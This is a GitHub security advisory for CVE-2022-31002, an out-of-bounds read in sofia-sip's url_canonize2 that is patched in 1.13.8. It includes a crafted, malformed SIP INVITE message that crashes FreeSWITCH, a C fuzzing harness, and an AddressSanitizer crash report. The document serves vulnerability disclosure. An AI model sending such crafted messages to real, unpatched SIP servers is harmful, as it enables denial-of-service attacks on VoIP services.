url_canonize2 Out-of-bound read

High **andywolk** published **GHSA-g3x6-p824-x6hm** on May 31

Package

sofia-sip (C)

Affected versions

<= 1.13.7

Patched versions

1.13.8

Description

An attacker can send a message with evil sdp to FreeSWITCH, which may cause crash.
I think this type of crash is caused by url ending with `%`, the craft message looks like this

```
INVITE sip:{ips%3A?ser%40ep:%
????e?ia: SIP/2.0/UDP hosanchet;rporbContact:
 61Me=vC6  =1lue%25=z9hGGGGGGGGGGGGGGGGGGGGGGGGGGGGGCo[tac~:
 Vxam????co%6?72;n%61Me=vC6  =1lue%25060;%6C%72;nent-Length: 120

[v=er%40exomple.co%6C%]() 72t: taV2939 IN IP4 192 /2.1
s=
c=IN IP4 192.=.2.1
t=0 0
mCaudio 49217 RTP?AVP 0 12
m????eo E22= RTP/AVP 31a=rtpmap:31 LPC
```

Harness

```
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/stat.h>
#include <sys/types.h>
```

```
#include <sofia-sip/su_types.h>

#include <sofia-sip/su_tag.h>
#include <sofia-sip/su_tag_class.h>
#include <sofia-sip/su_tag_io.h>

#include "sofia-sip/sip_parser.h"
#include <sofia-sip/sip_util.h>
#include <sofia-sip/sip_status.h>

#include <sofia-sip/sip_tag.h>
#include <sofia-sip/url_tag.h>
#include <sofia-sip/msg_addr.h>
#include <sofia-sip/msg_mclass.h>
#include <sofia-sip/msg_mclass_hash.h>

#include <sofia-sip/sip_extra.h>

static msg_t *read_message(int flags, char * buffer)
{
        size_t n;
        int m;
        msg_t *msg;
        msg_iovec_t iovec[2];
        msg_mclass_t *test_mclass = msg_mclass_clone(sip_default_mclass(), 0, 0);
        n = strlen(buffer);
        if (n == 0)
                 return NULL;

        msg = msg_create(test_mclass, flags);
        if (msg_recv_iovec(msg, iovec, 2, n, 1) < 0) {
                perror("msg_recv_iovec");
        }
        memcpy(iovec->mv_base, buffer, n);
        msg_recv_commit(msg, n, 1);
        m = msg_extract(msg);

        return msg;
}

int main(int argc, char ** argv){
        int fd;
        int rc;
        int err = 0;
        struct stat st;
        msg_t *msg;
    if (argc != 2) {
                puts("ARG GG");
                return 1;
        }
        if (access(argv[1], R_OK) != 0){
                puts("INFILE GG");
                return 1;
        }
        stat(argv[1], &st);
        char * data = (char*)calloc(st.st_size + 0x10, 1);
```

```
        fd = open(argv[1], O_RDONLY);
        rc = read(fd, data, st.st_size);
        if (rc != st.st_size){
                puts("RDFILE GG");
                return 1;
        }
        msg = read_message(MSG_DO_EXTRACT_COPY, data);
        msg_destroy(msg);
        free(data);
        return 0;
}
```

Crash report

```
=================================================================
==1304726==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6100000000f6 at pc
0x00000056a87f bp 0x7ffc79c3e320 sp 0x7ffc79c3e318
READ of size 1 at 0x6100000000f6 thread T0
  #0 0x56a87e in url_canonize2 /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/url/url.c:367:25
  #1 0x567cd1 in _url_d /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/url/url.c:709:7
  #2 0x567cd1 in url_d /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/url/url.c:771
  #3 0x5aab23 in sip_request_d /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/sip/sip_basic.c:131:7
  #4 0x5038ff in extract_first /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/msg/msg_parser.c:981:7
  #5 0x5038ff in msg_extract /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/msg/msg_parser.c:905
  #6 0x4f4ecc in read_message /home/wangzhong.c0ss4ck/APT-IoT/HackSIP3/msg_harness.c:45:6
  #7 0x4f4ecc in main /home/wangzhong.c0ss4ck/APT-IoT/HackSIP3/msg_harness.c:72
  #8 0x7f64eb2a92e0 in __libc_start_main (/lib/x86_64-linux-gnu/[libc.so]
(http://libc.so/).6+0x202e0)
  #9 0x41d839 in _start (/data00/home/wangzhong.c0ss4ck/APT-
IoT/HackSIP3/msg_harness+0x41d839)

0x6100000000f6 is located 0 bytes to the right of 182-byte region
[0x610000000040,0x6100000000f6)
allocated by thread T0 here:
  #0 0x4c5693 in malloc /build/llvm-toolchain-7-jqDfnF/llvm-toolchain-7-
7.0.1/projects/compiler-rt/lib/asan/[asan_malloc_linux.cc:146]
(http://asan_malloc_linux.cc:146/):3
  #1 0x54d62d in sub_alloc /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/su/su_alloc.c:500:12

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wangzhong.c0ss4ck/APT-IoT/sofia-
sip/libsofia-sip-ua/url/url.c:367:25 in url_canonize2
Shadow bytes around the buggy address:
 0x0c207fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c207fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c207fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c207fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

```
  0x0c207fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c207fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[06]fa
  0x0c207fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c207fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c207fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c207fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c207fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:      00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:    fa
  Freed heap region:    fd
  Stack left redzone:   f1
  Stack mid redzone:    f2
  Stack right redzone:   f3
  Stack after return:   f5
  Stack use after scope:  f8
  Global redzone:     f9
  Global init order:    f6
  Poisoned by user:    f7
  Container overflow:   fc
  Array cookie:      ac
  Intra object redzone:  bb
  ASan internal:      fe
  Left alloca redzone:   ca
  Right alloca redzone:  cb
  Shadow gap:       cc
==1304726==ABORTING
```

Severity

High

CVE ID

CVE-2022-31002

Weaknesses

CWE-125

Credits

Cossack9989